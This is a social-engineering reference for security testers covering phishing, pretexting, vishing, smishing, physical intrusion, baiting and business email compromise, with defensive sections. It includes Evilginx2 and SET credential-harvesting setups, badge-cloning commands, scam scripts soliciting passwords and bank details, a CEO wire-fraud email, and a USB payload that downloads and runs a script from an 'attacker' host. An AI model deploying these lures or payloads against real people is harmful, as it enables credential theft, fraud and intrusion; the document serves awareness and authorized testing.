# Social Engineering Reference

## Overview
Social engineering exploits human psychology rather than technical vulnerabilities to gain unauthorized access, information, or privileges. It's often the most effective attack vector.

**MITRE ATT&CK**: T1566 (Phishing), T1598 (Phishing for Information), T1534 (Internal Spearphishing)

---

## Phishing Attacks

### Description
Fraudulent attempts to obtain sensitive information by disguising as a trustworthy entity in electronic communication.

### Phishing Types
- **Email Phishing**: Mass email campaigns
- **Spear Phishing**: Targeted at specific individuals/organizations
- **Whaling**: Targeting high-profile executives
- **Clone Phishing**: Copying legitimate emails
- **SMS Phishing (Smishing)**: Via text messages
- **Voice Phishing (Vishing)**: Via phone calls

### Tools
- Gophish (phishing framework)
- Social Engineering Toolkit (SET)
- King Phisher
- PhishingFrenzy
- CredSniper
- Evilginx2 (2FA bypass)
- Modlishka (reverse proxy)

### Testing Methodology
1. Define scope and targets
2. Create realistic pretext
3. Design convincing phishing content
4. Set up infrastructure (domains, servers)
5. Clone or create phishing pages
6. Send phishing emails
7. Monitor engagement metrics
8. Document results
9. Provide security awareness training

### Setting Up Gophish
```bash
# Download and run Gophish
./gophish

# Access admin panel (default: https://127.0.0.1:3333)
# Default credentials: admin:gophish

# Configuration steps:
1. Create Sending Profile (SMTP settings)
2. Create Landing Page (credential capture)
3. Create Email Template
4. Create User Groups (targets)
5. Launch Campaign
6. Monitor results dashboard
```

### Social Engineering Toolkit (SET)
```bash
setoolkit

# Menu options:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create Payload and Listener
5) Mass Mailer Attack

# Credential Harvester example:
2) Website Attack Vectors
3) Credential Harvester Attack Method
2) Site Cloner
# Enter target URL to clone
# Enter local IP for phishing server
```

### Evilginx2 (2FA Bypass)
```bash
# Evilginx2 setup
./evilginx2 -p phishlets/

# Configure phishlet
phishlets hostname office365 login.office365-secure.com
phishlets enable office365

# Create lure
lures create office365
lures edit 0 redirect_url https://office.com
lures get-url 0

# Monitor sessions
sessions
```

### Email Template Best Practices
```
Subject Lines:
- Create urgency: "Immediate Action Required"
- Appeal to authority: "IT Security Alert"
- Personalized: Use target's name/company

Content:
- Professional formatting
- Legitimate-looking sender
- Proper grammar and spelling
- Company branding
- Plausible pretext
- Clear call-to-action

Red Flags to Avoid:
- Generic greetings
- Poor grammar
- Suspicious links
- Unusual requests
- Mismatched URLs
```

### Detection Methods
- Email authentication (SPF, DKIM, DMARC)
- Link analysis
- Attachment scanning
- User reporting
- AI-based detection
- Domain reputation services
- Email gateway filtering

### Remediation
- Security awareness training
- Email filtering and authentication
- Anti-phishing tools and browser extensions
- Multi-factor authentication (MFA)
- URL filtering
- Simulated phishing exercises
- Incident reporting process
- Hover-to-reveal link destinations

### References
- **MITRE ATT&CK**: T1566.001 (Spearphishing Attachment), T1566.002 (Spearphishing Link)
- **CWE**: CWE-1390 (Weak Authentication)
- **OWASP**: Phishing
- **Resources**: https://www.getgophish.com/

---

## Pretexting

### Description
Creating a fabricated scenario to obtain information or access. The attacker assumes a false identity or scenario.

### Common Pretexts
- IT support/helpdesk
- HR representative
- Vendor/contractor
- Executive assistant
- Auditor/compliance officer
- Law enforcement
- Facility management

### Testing Methodology
1. Research target organization
2. Develop believable pretext
3. Prepare supporting materials
4. Practice delivery
5. Execute pretext
6. Document information gathered
7. Analyze effectiveness

### Example Scenarios

**IT Support Pretext**:
```
"Hello, this is Michael from IT Support. We're experiencing a
critical security issue affecting all employee accounts. I need
to verify your account details to ensure your data is protected.
Can you confirm your username and temporarily reset your password
to 'TempSecure123' so I can run the security update?"
```

**Executive Assistant Pretext**:
```
"Hi, this is Sarah, Mr. Johnson's assistant. He's in an important
meeting and urgently needs access to the quarterly financial
reports. Can you send them to his personal email? He can't access
his work email right now."
```

**Vendor Pretext**:
```
"This is David from SecureNet Solutions. We're doing maintenance
on your company's VPN and need to verify the current configuration.
Can you provide me with the VPN server address and authentication
details?"
```

### Preparation Steps
1. OSINT reconnaissance
2. Identify organizational structure
3. Learn company jargon/terminology
4. Understand business processes
5. Create supporting documentation
6. Prepare for questions
7. Practice scenario

### Red Flags (Teaching Points)
- Requests for credentials
- Unusual urgency
- Requests to bypass procedures
- Unverified identity
- Suspicious timing
- Information inconsistencies

### Detection Methods
- Verification procedures
- Callback verification
- Out-of-band authentication
- Security awareness training
- Suspicious activity reporting

### Remediation
- Implement verification procedures
- Establish communication protocols
- Security awareness training
- Encourage questioning suspicious requests
- Multi-channel verification
- Document approved communication methods
- Regular security reminders

### References
- **MITRE ATT&CK**: T1598 (Phishing for Information)
- **Framework**: SECT (Social Engineering Capture The Flag)
- **Resources**: "The Art of Deception" by Kevin Mitnick

---

## Vishing (Voice Phishing)

### Description
Using voice calls to manipulate victims into divulging sensitive information or performing actions.

### Common Tactics
- Spoofed caller ID
- Urgency and pressure
- Authority impersonation
- Technical jargon
- Verification requests

### Testing Methodology
1. Research target and organization
2. Prepare script and talking points
3. Set up call infrastructure (VoIP, caller ID spoofing)
4. Execute calls
5. Document responses
6. Analyze effectiveness

### Example Scripts

**Tech Support Scam**:
```
"Hello, this is the IT Security Team. We've detected unusual
activity on your account and need to verify your identity.
Can you confirm your employee ID and current password?"

Follow-up responses:
- "This is urgent for security purposes"
- "We're seeing attempted unauthorized access"
- "Your account will be locked in 5 minutes if we don't verify"
```

**HR/Payroll Pretext**:
```
"Hi, this is Jennifer from Payroll. We're updating our direct
deposit system and need to verify your banking information.
Can you confirm your account and routing numbers?"
```

**Executive Impersonation**:
```
"This is [CEO Name]'s office. We need you to process an urgent
wire transfer immediately. I'll send the details via email, but
I need you to start the authorization process now."
```

### Tools and Techniques
- VoIP services (Twilio, etc.)
- Caller ID spoofing services
- Call recording
- Scripts and talking points
- Social engineering playbooks

### Spoofing Caller ID
```bash
# Using SpoofCard or similar services (for authorized testing)
# Or VoIP providers with caller ID customization

# Note: Caller ID spoofing may be illegal in many jurisdictions
```

### Detection Methods
- Verification callbacks
- Out-of-band confirmation
- Caller ID verification (limited effectiveness)
- Security awareness
- Suspicious call reporting

### Remediation
- Establish verification procedures
- Callback verification protocols
- Security awareness training
- Never provide credentials over phone
- Document legitimate contact methods
- Implement verbal passwords
- Multi-factor authentication for sensitive operations

### References
- **MITRE ATT&CK**: T1598.003 (Spearphishing via Service)
- **CWE**: CWE-1390
- **FCC**: Truth in Caller ID Act
- **Resources**: Vishing awareness programs

---

## Smishing (SMS Phishing)

### Description
Phishing attacks delivered via SMS text messages.

### Common Tactics
- Fake delivery notifications
- Bank security alerts
- Prize/lottery wins
- COVID-19 related messages
- Account verification requests
- Malicious links

### Testing Methodology
1. Identify target phone numbers
2. Create convincing message
3. Set up SMS gateway or service
4. Include tracking links
5. Send messages
6. Monitor engagement
7. Document results

### Example Messages
```
"[Company] Security Alert: Unusual activity detected on your
account. Verify your identity immediately: bit.ly/secure123"

"USPS: Your package is held due to incomplete address.
Update shipping info: usps-track.info/pkg/12345"

"Your bank account has been temporarily locked. Click here
to unlock: secure-bank-login.com"

"Congratulations! You've won a $500 gift card. Claim now:
reward-center.net/claim?id=xyz"
```

### SMS Sending Methods
```bash
# Using SMS gateway services (for authorized testing)
# Twilio, AWS SNS, etc.

# Twilio API example
curl -X POST https://api.twilio.com/2010-04-01/Accounts/ACCT_ID/Messages.json \
  --data-urlencode "Body=Your message here" \
  --data-urlencode "From=+15551234567" \
  --data-urlencode "To=+15557654321" \
  -u ACCT_ID:AUTH_TOKEN
```

### Link Tracking
```bash
# Use URL shorteners with analytics
bit.ly, tinyurl.com, or custom

# Create tracking page
<html>
<head>
<script>
  // Log visitor info
  fetch('/log', {method: 'POST', body: JSON.stringify({
    time: new Date(),
    userAgent: navigator.userAgent,
    referrer: document.referrer
  })});
  // Redirect
  window.location = 'https://legitimate-site.com';
</script>
</head>
</html>
```

### Detection Methods
- SMS filtering
- Link analysis
- User awareness
- Suspicious message reporting
- Mobile security apps
- Domain reputation

### Remediation
- Security awareness training
- Mobile security software
- Verify URLs before clicking
- Contact organizations directly
- Report suspicious messages
- Enable carrier spam filtering
- Never provide sensitive info via SMS

### References
- **MITRE ATT&CK**: T1566.002 (Spearphishing Link)
- **CWE**: CWE-1390
- **CTIA**: Robocall and Robotext Resources
- **FTC**: SMS Scam Alerts

---

## Physical Social Engineering

### Description
In-person manipulation to gain physical or logical access to facilities or systems.

### Techniques
- **Tailgating**: Following authorized person through door
- **Piggybacking**: Gaining access with someone's permission
- **Badge Cloning**: Copying access badges
- **Impersonation**: Posing as employee/contractor
- **Shoulder Surfing**: Observing credentials/information
- **Dumpster Diving**: Searching trash for information

### Testing Methodology
1. Define scope and rules of engagement
2. Reconnaissance (building layout, badge types, schedules)
3. Prepare pretext and props
4. Attempt physical access
5. Document security gaps
6. Test response to unauthorized access
7. Provide detailed report

### Tailgating/Piggybacking
```
Scenarios:
- Carrying packages: "Can you hold the door? My hands are full."
- Fake badge: Flash badge quickly while entering
- Delivery person: "Delivery for Mr. Smith, which floor?"
- Contractor: "I'm here to fix the HVAC system"
- Smoker's entrance: Join smoking group returning inside
```

### Impersonation Props
- Fake badges/credentials
- Appropriate attire
- Clipboards/tools
- Company-branded items
- Work orders/documentation
- Confidence and purpose

### Badge Cloning
```bash
# RFID badge reading (for authorized testing)
# Proxmark3
pm3
> lf search
> lf hid fskdemod
> lf hid clone <facilitycode> <cardnumber>

# NFC badge cloning
nfc-mfclassic r a badge_dump.mfd
```

### Dumpster Diving Targets
- Printed documents
- Sticky notes with passwords
- Old hardware (hard drives)
- Employee directories
- Network diagrams
- Discarded badges/keys
- Company letterhead

### Detection Methods
- Security guards
- Access control logs
- Badge readers
- CCTV monitoring
- Visitor management systems
- Employee awareness
- Challenge procedures

### Remediation
- Challenge unfamiliar people
- Proper visitor management
- Anti-tailgating measures (mantraps)
- Document shredding policies
- Badge visibility requirements
- Clean desk policy
- Security awareness training
- Regular security patrols
- CCTV monitoring
- Access logs review

### References
- **MITRE ATT&CK**: T1078 (Valid Accounts), T1200 (Hardware Additions)
- **CWE**: CWE-284 (Improper Access Control)
- **Resources**: "No Tech Hacking" by Johnny Long

---

## Watering Hole Attacks

### Description
Compromising websites frequently visited by target organization's employees to deliver malware or steal credentials.

### Attack Process
1. Identify target organization
2. Determine frequently visited websites
3. Compromise identified website(s)
4. Inject malicious code
5. Deliver payload to visitors
6. Gain access to target network

### Testing Methodology
1. OSINT to identify frequently visited sites
2. Assess security of identified sites
3. With authorization, test compromise vectors
4. Demonstrate potential payload delivery
5. Document attack chain
6. Provide remediation guidance

### Identification Techniques
```bash
# Analyze browser history
# Survey employees (social engineering)
# Web proxy logs analysis
# Industry-specific sites

Common targets:
- Industry news sites
- Professional forums
- Vendor portals
- Trade association sites
```

### Detection Methods
- Web filtering
- Endpoint protection
- Network monitoring
- Threat intelligence
- Behavioral analysis
- Browser security extensions

### Remediation
- Web filtering and monitoring
- Endpoint protection
- Regular patching
- Browser security settings
- Network segmentation
- User awareness training
- Threat intelligence feeds

### References
- **MITRE ATT&CK**: T1189 (Drive-by Compromise)
- **CWE**: CWE-494 (Download of Code Without Integrity Check)
- **Examples**: APT12, Hidden Lynx campaigns

---

## Baiting

### Description
Offering something enticing to lure victims into compromising security.

### Common Baiting Methods
- **USB Drops**: Leaving infected USB drives
- **Free Downloads**: Malicious software disguised as useful tools
- **Physical Media**: Infected CDs/DVDs
- **QR Codes**: Malicious QR codes in public places
- **Free Wi-Fi**: Rogue access points

### Testing Methodology
1. Prepare bait (USB drives, media, etc.)
2. Deploy in strategic locations
3. Monitor for execution
4. Document who accessed bait
5. Analyze security impact

### USB Drop Attack
```bash
# Create malicious USB payload (for authorized testing)
# Using Rubber Ducky, Bash Bunny, or custom

# Bash Bunny payload example
#!/bin/bash
# payload.txt
ATTACKMODE HID STORAGE
RUN WIN powershell
Q DELAY 1000
Q STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
Q ENTER

# Label USBs attractively:
"Executive Salaries 2024"
"Confidential - HR"
"Q4 Financial Results"
"Employee Performance Reviews"
```

### Physical Deployment Locations
- Parking lots
- Reception areas
- Conference rooms
- Cafeterias
- Near entrances/exits
- Mail rooms

### Malicious QR Code
```bash
# Generate QR code pointing to phishing site
qrencode -o qrcode.png "https://phishing-site.com/login"

# Deploy in:
- Fake parking violations
- Fake delivery notifications
- Fake event posters
- Bathroom stalls
```

### Detection Methods
- USB device control policies
- Endpoint protection
- Application whitelisting
- User awareness
- Device scanning protocols

### Remediation
- Disable AutoRun/AutoPlay
- USB device control policies
- Employee awareness training
- Proper disposal of media
- Scan unknown devices in sandbox
- QR code scanning policies
- Network access control (NAC)

### References
- **MITRE ATT&CK**: T1091 (Replication Through Removable Media)
- **CWE**: CWE-426 (Untrusted Search Path)
- **Famous case**: Stuxnet USB propagation

---

## Quid Pro Quo

### Description
Offering a service or benefit in exchange for information or access.

### Common Scenarios
- **Tech Support**: Offering to fix problems
- **Survey/Research**: Offering compensation
- **Free Services**: Offering free trials/services
- **Assistance**: Helping with tasks

### Testing Methodology
1. Develop service offering
2. Identify targets
3. Contact targets with offer
4. Request information in exchange
5. Document compliance rate
6. Analyze information obtained

### Example Scenarios

**IT Support Offer**:
```
"Hi, this is the IT department. We're calling employees to offer
free software upgrades. We can also help with any computer issues
you're having. To get started, I'll need your login credentials
to push the updates to your account."
```

**Survey Offer**:
```
"We're conducting a research study on workplace productivity and
offering $50 gift cards to participants. We'll need to verify your
employment and may ask some questions about your work systems and
access levels."
```

**Free Service**:
```
"We're offering complimentary security assessments to companies
in your industry. To begin, we'll need remote access to your
systems for 30 minutes to run our diagnostic tools."
```

### Detection Methods
- Verification procedures
- Suspicious offer awareness
- Too-good-to-be-true recognition
- Security awareness training

### Remediation
- Verify all service offers
- Establish legitimate service channels
- Security awareness training
- Report suspicious offers
- Never provide credentials for "services"
- IT request verification procedures

### References
- **MITRE ATT&CK**: T1598 (Phishing for Information)
- **Principle**: Reciprocity (Cialdini's Influence Principles)
- **Framework**: Social engineering taxonomy

---

## Business Email Compromise (BEC)

### Description
Sophisticated email scams targeting businesses, often impersonating executives to authorize fraudulent transactions.

### BEC Types
- **CEO Fraud**: Impersonating executives
- **Account Compromise**: Using compromised email accounts
- **Attorney Impersonation**: Posing as lawyers
- **Data Theft**: Targeting HR/payroll data
- **Invoice Scams**: Fake vendor invoices

### Testing Methodology
1. OSINT on executives and procedures
2. Register similar domain or compromise account
3. Create authentic-looking emails
4. Target appropriate personnel
5. Request wire transfers or sensitive data
6. Monitor compliance
7. Document security gaps

### Example BEC Email
```
From: ceo@comp4ny.com (note: similar domain)
To: finance@company.com
Subject: Urgent: Confidential Acquisition

Hi Sarah,

I'm in meetings all day but need you to process an urgent wire
transfer for a confidential acquisition we're closing. Our attorney
will send you the details shortly. This is time-sensitive and
confidential - please don't discuss with anyone.

Transfer Details:
Amount: $487,500
To: Escrow Services LLC
Account: [details]
Routing: [details]

Please confirm once completed.

Thanks,
John Smith
CEO
```

### Domain Spoofing Techniques
- **Similar domains**: company.com → comp4ny.com
- **Subdomain**: company.com.attacker.com
- **Homograph**: company.com → comрany.com (Cyrillic 'р')
- **Display name spoofing**: Display "CEO Name" but different email
- **Compromised accounts**: Using actual internal email

### Detection Methods
- Email authentication (SPF, DKIM, DMARC)
- Domain similarity scanning
- Display name monitoring
- Unusual request detection
- Behavioral analytics
- Multi-factor approval processes

### Remediation
- Implement email authentication protocols
- Multi-person approval for transfers
- Out-of-band verification
- Flag external emails
- Domain monitoring
- Security awareness training
- Established verification procedures
- Financial controls

### References
- **MITRE ATT&CK**: T1566.002 (Spearphishing Link)
- **FBI**: IC3 BEC Reports
- **Statistics**: Billions in annual losses
- **CWE**: CWE-1390

---

## Shoulder Surfing

### Description
Observing someone's screen, keyboard, or documents to gather sensitive information.

### Techniques
- Direct observation
- Use of cameras/binoculars
- Recording devices
- Public places exploitation
- Reflection observation

### Testing Methodology
1. Identify target areas (offices, public spaces)
2. Attempt observation
3. Document visible information
4. Photograph screens
5. Analyze security gaps

### Common Targets
- Login credentials
- PINs at ATMs
- Credit card numbers
- Confidential documents
- System configurations
- Access codes

### Detection Methods
- Privacy screens
- Employee awareness
- Security cameras
- Security patrols
- Workspace monitoring

### Remediation
- Privacy screen filters
- Screen positioning
- Clean desk policy
- Password masking
- Security awareness training
- Physical security measures
- Lock screens when away
- Secure document handling

### References
- **MITRE ATT&CK**: T1056.002 (GUI Input Capture)
- **CWE**: CWE-200 (Exposure of Sensitive Information)
- **Control**: Physical security measures
